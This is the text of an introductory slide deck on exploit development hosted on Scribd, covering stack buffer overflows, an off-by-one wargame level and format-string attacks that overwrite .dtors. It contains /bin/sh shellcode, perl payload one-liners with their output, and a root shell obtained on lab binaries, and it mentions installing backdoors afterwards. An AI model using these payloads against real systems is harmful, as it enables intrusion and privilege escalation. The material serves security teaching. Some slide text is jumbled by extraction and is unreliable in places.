0% found this document useful (0 votes)
61 views37 pages

Exploits and Exploit Development: The Basics

This document discusses buffer overflow exploits and exploit development. It begins by explaining the layout of ELF binaries in memory, including segments like .text, .data, and .bss. It then describes how the stack is used for function calls and arguments, and how buffer overflows can overwrite saved EIP values, allowing an attacker to redirect execution flow. The goal of exploiting is to execute shellcode of the attacker's choice. Two examples are provided: one uses shellcode placed in an environment variable, while the other embeds it directly in the overflowed buffer. Precise control of saved EIP is required when no NOP sled is used. Overall, the document provides an introduction to basic buffer overflow exploitation techniques.

Uploaded by

Trey Jardine
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
61 views37 pages

Exploits and Exploit Development: The Basics

This document discusses buffer overflow exploits and exploit development. It begins by explaining the layout of ELF binaries in memory, including segments like .text, .data, and .bss. It then describes how the stack is used for function calls and arguments, and how buffer overflows can overwrite saved EIP values, allowing an attacker to redirect execution flow. The goal of exploiting is to execute shellcode of the attacker's choice. Two examples are provided: one uses shellcode placed in an environment variable, while the other embeds it directly in the overflowed buffer. Precise control of saved EIP is required when no NOP sled is used. Overall, the document provides an introduction to basic buffer overflow exploitation techniques.

Uploaded by

Trey Jardine
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 37

Exploits and Exploit Development

The basics
ELF Binaries

• ELF == Executable and Linkable Format

• Different segments, .text, .data, .bss and so on

• Layout of binary in memory


Top of memory
The segments stack 0xFFFFFFFF

nothing (empty)
• .text (code)

• .data
heap
• .bss
.bss
• heap
.data
• stack
.text (code)
Bottom of memory
0x00000000
The Stack
• Stack is used for function calls.

• There are 2 registers on the CPU associated with the stack, the EBP (Extended
Base Pointer) and ESP (Extended Stack Pointer)

• ESP points to the top of the stack, whereas EBP points to the beginning of the
current frame.

• When a function is called, arguments, EIP and EBP are pushed onto stack.

• EBP is set to ESP, and ESP is decremented to make space for the functions local
variables.
The Stack
Continued
0xbfff9000 0xbfff9000
the stack saved EIP the stack
0x08049800 0x08049800
0xbfffdd08
saved EBP 0xbfffdd08
func_1() EBP func_1() saved EIP
char buf[128]; char buf[128];
saved EBP
ESP 0x08049800
0xbfffdd08
func_2() EBP
Free memory saved EIP == ret addr int i = 0;
float z = 99.9;
ESP
Free memory

0xbfff8000 0xbfff8000
Buffer Overflows
• Programming bug
the stack the stack the stack
• Input or data is not 0x08049800
saved EIP
0x08049800 0x41414141

properly bounds 0xbfffdd08 saved EBP 0xbfffdd08 0x41414141

checked func_1() func_1() func_1()


0x00000000 0x41414141
0x41414141

char buf[128]; 0x41414141
Example Code: 0x41414141 0x41414141

char some_data[256];
memset(some_data,’A’,254);
Free memory Free memory Free memory

memcpy(buf,some_data);
Exploiting : The Aim
Our aim is to somehow main()
func3()
divert the flow of the int i;
int x = 0; int one = 1;
program and get it to char *ptr; int two = 2;
int three = 3;
execute what we want.

func4()
func1() func2()
char buf[32] char *p = 0;
int *p; int i = 0,x = 0;
int size = 0; float temp;
exit(-1);
Exploiting : The Aim
Our aim is to somehow main()
func3()
divert the flow of the int i;
int x = 0; int one = 1;
program and get it to char *ptr; int two = 2;
int three = 3;
execute what we want.

func4()
func1() func2() shellcode()
char buf[32] char *p = 0; NOP
int *p; int i = 0,x = 0;
int size = 0; float temp;
exit(-1);
execl();
Method 1 : Smashing the Stack
Putting it all together
Using input or data that
the stack
• Combine what we saved EIP
0x41414141
we provide, we can control
the value that gets written
know about stack, saved EBP 0x41414141

and buffer func_1() over the return address,


overflows 0x41414141 or saved EIP value.
0x41414141
0x41414141

• Can use this to


redirect the flow
of execution Free memory
Buffer Overflow : Example 01
gdb output:
example_01.c: 18 A’s

24 A’s

26 A’s
Buffer Overflow : Example 02
gdb output:
example_02.c:
Show me the MONEY!
saved EIP
the stack
0x41414141
We control this.
saved EBP 0x41414141

func_1() But now that we control the return address,


0x41414141 what do we do with it?
0x41414141
0x41414141
Where do we want the flow of execution to go?

Free memory

The Answer?
Shellcode
Example Shellcode:
• This is just code that spawns a shell.
“\x31\xc0\xb0\x46\x31\xd
• Comes in many different varieties. b\x31\xc9\xcd\x80\xeb
\x16\x5b
• Some bind to ports, some connect to specific \x31\xc0\x88\x43\x07\x89
\x5b\x08\x89\x43\x0c
servers, some just spawn a local shell, some really
\xb0\x0b\x8d\x4b\x08\x8d
small, some are multipart. \x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f
• All created to suit the needs of the creator for \x62\x69\x6e\x2f\x73\x68”
whatever purpose he might need them for, or to
avoid certain restrictions that limit its execution. Spawns a “/bin/sh” process.
Shellcode
Continued

• Now that we know we need to use shellcode, where do we put it.

• There are a couple options, all depending on various factors.

• Environment Variable

• Inside the overflown buffer itself

• Some other part of memory that we can write to

• etc
Example 01 : Exploited
Shellcode in Environment
getenvaddr.c :
Variable:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int arc, char *argv[]){


char *ptr;
if(argc < 3){
printf(“Usage : %s <env var> <program name>\n”,argv[0]);
exit(0);
}

ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(“%s will be at %p\n”,argv[1],ptr);
Getting address of return 0;
Environment Variable: }
Shellcode : Alignment + NOP Sled

0xbfbfef6b 0xeb175b31 0xc0884307 0x895b0889 0x430c508d 0x53085253 0xb03b50cd

Saved EIP 0xbfbfef6b

0xbfbfef7a 0x90909090 0x90909090 0xeb175b31 0xc0884307 0x895b0889 0x430c508d

NOP Sled
Example 01: We have shell

• We have now exploited the program

• We gained new access level, namely moving from “tritured” to “root”

• From here we can do various other things, like install backdoors, or


kernel mods, etc.
Example 02 : Exploited
Get address of SHELLCODE env variable:

This time, we not going to use a NOP sled, so have to be precise:


IO level 6 : Real World
level6.c :
#include <string.h>
• As you can see, the programmer has
// The devil is in the details - nnp implemented some bounds checking to
void copy_buffer(char *argv[]) prevent buffer overflows
{


char buf1[32], buf2[32], buf3[32];
However, he has introduced a new bug,
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3)); called an off-by-one error
strcpy(buf1, buf3);


}

int main(int argc, char *argv[])


We can still overflow the buffer
{
copy_buffer(argv);
return 0; • And we still overwrite EIP to point to our
} shellcode
IO Level 6 : Cont
How strings work, and are delimited in memory:
0xbfbfeea0 0xbfbfeea1 0xbfbfede 0xbfbfedf

0x09 This is just some random text to help show how a string works 0x00

NULL byte
Level 6’s copy_buffer stack layout:
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40

buf3[32] buf2[32] buf1[32]

some text here 0x00 some other text 0x00 and some other string 0x00
IO Level 6 : Cont
The problem lies in these 3 lines:
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);

• The first line copies at most 31 bytes, leaving space for a NULL byte at the end.

• The second line however, copies at most 32 bytes, and therefore, might not leave space for
a NULL pointer at the end, this is where the off-by-one error comes in.

• The third line then copies buf3, into buf1, heres where we can overwrite the saved EIP
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
IO Level 6 : Cont
strncpy(buf1, buf3);

Level 6’s copy_buffer stack layout:


0xbfbfaa20 0xbfbfaa40
0xbfbfaa00
buf3[32] buf2[32] buf1[32]
strncpy(buf2, argv[1], 31);

0x414141414141 0x00
strncpy(buf3, argv[2], sizeof(buf3));

0x42424242424242 0x42 0x414141414141 0x00


strcpy(buf1, buf3)
buf3 buf2 buf1

0x424242424242 0x4 0x4141414141 0x0 0x4242424242424 0x42 0x41414141


42 2 41 0 242
buf3
IO Level 6 : Cont

• Do Demo here
Method 02 : Format String

• Format strings are the next kind of bug that we will exploit

• They are normally caused by a programmer not providing a valid


format string to printf and just doing something like : printf(variable);

• However this becomes a bit of a problem, since we are no longer


overflowing a buffer, so therefore we cannot just overwrite the saved
EIP.

• This makes redirecting the program flow a bit more difficult


Format String : Cont
Quick and dirty example of printf and how
function parameters are pushed onto stack:
printf:
With format string exploits, there are two
parameters to print that we need to use. example code:
The first paramter we will look at is “%x”. All that int count_one = 0;
%x does, is tell printf to print the hex value of the
variable in the corresponding position. eg: printf(“number of bytes written up to “ \
“this point%n\n”,&count_one);
printf(“The value is : 0x%08x\n”,size); printf(“count_one = %d\n”,count_one);
printf(“The value of \”count_one\” is “ \
The second parameter we need to look at is “: 0x%08x\n”,count_one);
“%n”. What %n does is the opposite to the rest of
the printf parameters. Instead of reading value
from a variable and formatting it for display, it output:
actually saves the number of bytes that printf has
written to the variable in the corresponding number of bytes written up to this point
position, eg: count_one = 40
The value of “count_one” is : 0x00000028
printf(“Number of bytes written%n\n”,&count);
Function Variables
How variables to functions are pushed to stack:
When functions are called and they need the stack
to pass variables, they use the stack to
z = 10 variable z
pass those variables i=2 variable i
Example code: 0xbfbf9977 address of format string
0x08048000 saved EIP
printf(“The value of i = %d, and z = %d\n”,i, z); 0xbfffaa00 saved EBP
printf()
When variables are pushed to the stack,
they are pushed in reverse order, so with
the above, the following would happen:
push z;
push i;
push (address of format string) Free memory
Format Strings : Cont
Example Code:
include <stdio.h> • So we know how variables are pushed onto
include <string.h> the stack.
int main(int argc, char *argv[]){
char buf[1024]; • We know what parameters in the format
strncpy(buf, argv[1], sizeof(buf) - 1); string do what.
printf(buf);
• So what happens when we put more
return 0; parameters in the format string than there
}
are variables pushed onto the stack?
Format String : Example Code
Testing the code:
Example Code: #./format_string `perl -e ‘print “AAAA” . “%08x”x8’`
include <stdio.h> AAAAbfbfed98000003ff280770000000032807604000000000000000041414141
include <string.h> [*] test_val @ 0xbfbfe85c = -72 0xffffffb8
#
int main(int argc, char *argv[]){ #./getenvaddr PATH ./format_string
char buf[1024]; PATH will be at 0xbfbfee0b
int test_val = -72; #
strncpy(buf, argv[1], sizeof(buf) - 1); #./format_string `perl -e ‘print “\x0b\xee\xbf\xbf” . “%08x”x7 . “%s”’`
bfbfed98000003ff2807700000000003280760400000000000000000/sbin:/bin:/usr/
printf(buf); sbin:/usr/bin:/usr/games:/usr/local/sbin
[*] test_val @ 0xbfbfe85c = -72 0xffffffb8
printf(“\n[*] test_val @ 0x%08x = %d “ \ #
“ 0x%08x\n”, &test_val, test_val, #./format_string `perl -e ‘print “\x5c\xe8\xbf\xbf” . “%08x”x11 . “%n”’`
test_val); bfbfed88000003ff000000000000000000000000bfbfea3c2807700000000003280760
4000000000ffffffb8
return 0; [*] test_val @ 0xbfbfe85c = 92 0x0000005c
} #
#
Format Strings : Demo
Testing the code:
#./format_string `perl -e ‘print “\x5c\xe8\xbf\xbf” . “%08x”x11 . “%n”’`
bfbfed88000003ff000000000000000000000000bfbfea3c28077000000000032807604000000000ffffffb8
[*] test_val @ 0xbfbfe85c = 92 0x0000005c
#
#./format_string `perl -e ‘print “\x5c\xe8\xbf\xbf” . “%08x”x10 . “%100x . “%n”’`
bfbfed88000003ff000000000000000000000000bfbfea3c28077000000000032807604000000000
ffffffb8
[*] test_val @ 0xbfbfe85c = 184 0x000000b8
#
#./format_string `perl -e ‘print “\x5c\xe8\xbf\xbf” . “%08x”x10 . “%08x” . “%n”’`
bfbfed88000003ff000000000000000000000000bfbfea3c28077000000000032807604000000000ffffffb8
[*] test_val @ 0xbfbfe85c = 92 0x0000005c
#gdb -q
(gdb) p 0xaa - 92 + 8
$1 = 86
#
#./format_string `perl -e ‘print “\x5c\xe8\xbf\xbf” . “%08x”x10 . “%08x” . “%n”’`
bfbfed88000003ff000000000000000000000000bfbfea3c28077000000000032807604000000000
ffffffb8
[*] test_val @ 0xbfbfe85c = 170 0x000000aa
Format Strings : Memory Layout
Overwriting a single address:
Memory 5c 5d 5e 5f
First write to 0xbfbfe85c aa 00 00 00
Second write to 0xbfbfe85d bb 00 00 00
Third write to 0xbfbfe85e cc 00 00 00
Fourth write to 0xbfbfe85f dd 00 00
Result aa bb cc dd
Modifying our format string:
./format_string `perl -e 'print "\x5c\xe8\xbf\xbf" . "%08x"x10 . "%86x" . "%n"'`
./format_string `perl -e 'print "\x5c\xe8\xbf\xbfJUNK\x5d\xe8\xbf\xbf" . "%08x"x10 . "%86x%n"'`
Format Strings : Trial and Error
Testing the code:
#./format_string `perl -e 'print "\x3c\xe8\xbf\xbfJUNK\x3d\xe8\xbf\xbfJUNK\x3e\xe8\xbf\xbfJUNK\x3f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%08x
%n"'`
<迿JUNK=迿JUNK>迿JUNK?迿JUNKbfbfed6c000003ff000000000000000000000000bfbfea1c28077000000000032807604000000000ffffffb8
[*] test_val @ 0xbfbfe83c = 120 0x00000078
#
#gdb -q
(gdb) p 0xaa - 120 + 8
$1 = 58
#
#/format_string `perl -e 'print "\x3c\xe8\xbf\xbfJUNK\x3d\xe8\xbf\xbfJUNK\x3e\xe8\xbf\xbfJUNK\x3f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%58x
%n"'`
<迿JUNK=迿JUNK>迿JUNK?迿JUNKbfbfed6c000003ff000000000000000000000000bfbfea1c28077000000000032807604000000000
ffffffb8
[*] test_val @ 0xbfbfe83c = 170 0x000000aa
#
#./format_string `perl -e 'print "\x3c\xe8\xbf\xbfJUNK\x3d\xe8\xbf\xbfJUNK\x3e\xe8\xbf\xbfJUNK\x3f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%58x
%n%08x%n"'`
<迿JUNK=迿JUNK>迿JUNK?迿JUNKbfbfed68000003ff000000000000000000000000bfbfea1c28077000000000032807604000000000
ffffffb84b4e554a
[*] test_val @ 0xbfbfe83c = 45738 0x0000b2aa
#
#gdb -q
(gdb) p 0xbb - 0xaa
$1 = 17
Format Strings : Overwriting Value
Testing the code:
#./format_string `perl -e 'print "\x3c\xe8\xbf\xbfJUNK\x3d\xe8\xbf\xbfJUNK\x3e\xe8\xbf\xbfJUNK\x3f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%58x
%n%08x%n"'`
<迿JUNK=迿JUNK>迿JUNK?迿JUNKbfbfed68000003ff000000000000000000000000bfbfea1c28077000000000032807604000000000
ffffffb84b4e554a
[*] test_val @ 0xbfbfe83c = 45738 0x0000b2aa
#
#gdb -q
(gdb) p 0xbb - 0xaa
$1 = 17
#./format_string `perl -e 'print "\x3c\xe8\xbf\xbfJUNK\x3d\xe8\xbf\xbfJUNK\x3e\xe8\xbf\xbfJUNK\x3f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%58x
%n%17x%n"'`
<迿JUNK=迿JUNK>迿JUNK?迿JUNKbfbfed68000003ff000000000000000000000000bfbfea1c28077000000000032807604000000000
ffffffb8 4b4e554a
[*] test_val @ 0xbfbfe83c = 48042 0x0000bbaa
#
#./format_string `perl -e 'print "\x2c\xe8\xbf\xbfJUNK\x2d\xe8\xbf\xbfJUNK\x2e\xe8\xbf\xbfJUNK\x2f\xe8\xbf\xbfJUNK" . "%08x"x10 . "%58x
%n%17x%n%17x%n%17x%n"'`
,迿JUNK-迿JUNK.迿JUNK/迿JUNKbfbfed5c000003ff000000000000000000000000bfbfea0c28077000000000032807604000000000
ffffffb8 4b4e554a 4b4e554a 4b4e554a
[*] test_val @ 0xbfbfe82c = -573785174 0xddccbbaa
#
Format Strings : What we know

• So, we can now write whatever value we want to whatever memory


address.

• So why dont we just overwrite the saved EIP?

• We could, but I wanted to introduce another section that makes it


much easier.

• The way to now gain control of program flow, is to add a value to


something called .dtors.
WTF is .dtors?
format_string:
• When writing a program, you
#nm ./format_string
080495f4 D _DYNAMIC
can create functions that run 080496b8 D _GLOBAL_OFFSET_TABLE_
w _Jv_RegisterClasses
either before the start of the 080496a8 d __CTOR_END__
main program, or after the 080496a4 d __CTOR_LIST__
080496b0 d __DTOR_END__
end of the program. 080496ac d __DTOR_LIST__
080495f0 r __EH_FRAME_BEGIN__
• These are called constructors 080495f0 r __FRAME_END__
080496b4 d __JCR_END__
and destructors, and are put 080496b4 d __JCR_LIST__
into the section of the code 080496d8 A __bss_start
#
called .ctors and .dtors #objdump -s -j .dtors ./format_string
respectively.
Contents of section .dtors:
80496ac ffffffff 00000000 ........
.dtors : Cont
.dtors section:
080496b0 d __DTOR_END__ = 0x00000000
080496ac d __DTOR_LIST__ = 0xffffffff

• The .dtors section is writable, so we can overwrite whatever value we


want into the addresses.

• So all we have to do is get the address of our shellcode.

• Change the address we want to overwrite (__DTOR_END__) to


contain that of our shellcode, and bobs our uncle.
Format String : Exploited
Testing the code:
#./getenvaddr SHELLCODE ./format_string
SHELLCODE will be at 0xbfbfef51
#
#./format_string `perl -e 'print "\xbc\xe7\xbf\xbfJUNK\xbd\xe7\xbf\xbfJUNK\xbe\xe7\xbf\xbfJUNK\xbf\xe7\xbf\xbfJUNK" . "%08x"x10 . "%17x
%n%110x%n%208x%n%256x%n"'`
? JUNK? JUNK? JUNK? JUNKbfbfecf4000003ff000000000000000000000000bfbfe99c2807c000000000032807622000000000 ffffffb8
4b4e554a 4b4e554a 4b4e554a
[*] test_val @ 0xbfbfe7bc = -1077940351 0xbfbfef81
#
#whoami
tritured
#
#./format_string `perl -e 'print "\xb0\x96\x04\x08JUNK\xb1\x96\x04\x08JUNK\xb2\x96\x04\x08JUNK\xb3\x96\x04\x08JUNK" . "%08x"x10 .
"%17x%n%110x%n%208x%n%256x%n"'`
?JUNK?JUNK?JUNK?JUNKbfbfecf4000003ff000000000000000000000000bfbfe99c2807c000000000032807622000000000 ffffffb8
4b4e554a 4b4e554a 4b4e554a
[*] test_val @ 0xbfbfe7bc = -72 0xffffffb8
# whoami
root
#
GG WP

You might also like